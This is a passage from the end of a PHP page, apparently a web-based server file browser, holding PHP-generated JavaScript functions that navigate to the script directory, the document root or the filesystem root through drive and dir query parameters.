        echo "window.location.href = '?drive=" . urlencode($drive) . "&dir=" . urlencode($path) . "';";
    } else {
        $path = ($script_path === '/') ? '' : ltrim($script_path, '/');
        echo "window.location.href = '?drive=" . urlencode($root) . "&dir=" . urlencode($path) . "';";
    }
    ?>
}

function goToDocumentRoot() {
    <?php
    $doc_root = isset($_SERVER['DOCUMENT_ROOT']) ? urlPath(realpath($_SERVER['DOCUMENT_ROOT'])) : '';

    if ($doc_root) {
        if (isWindows()) {
            $drive = substr($doc_root, 0, 2);
            $path = strlen($doc_root) > 2 ? substr($doc_root, 3) : '';
            echo "window.location.href = '?drive=" . urlencode($drive) . "&dir=" . urlencode($path) . "';";
        } else {
            $path = ltrim($doc_root, '/');
            echo "window.location.href = '?drive=" . urlencode($root) . "&dir=" . urlencode($path) . "';";
        }
    }
    ?>
}

function goToRoot() {
    <?php
    if (isWindows()) {
        echo "window.location.href = '?drive=C:&dir=';";
    } else {
        echo "window.location.href = '?drive=/&dir=';";
    }
    ?>
}

document.addEventListener('DOMContentLoaded', function() {
    const pathInput = document.querySelector('input[name="custom_path"]');

    if (pathInput) {
        pathInput.addEventListener('focus', function() {
            this.select();
        });
    }
});
</script>
</body>
</html>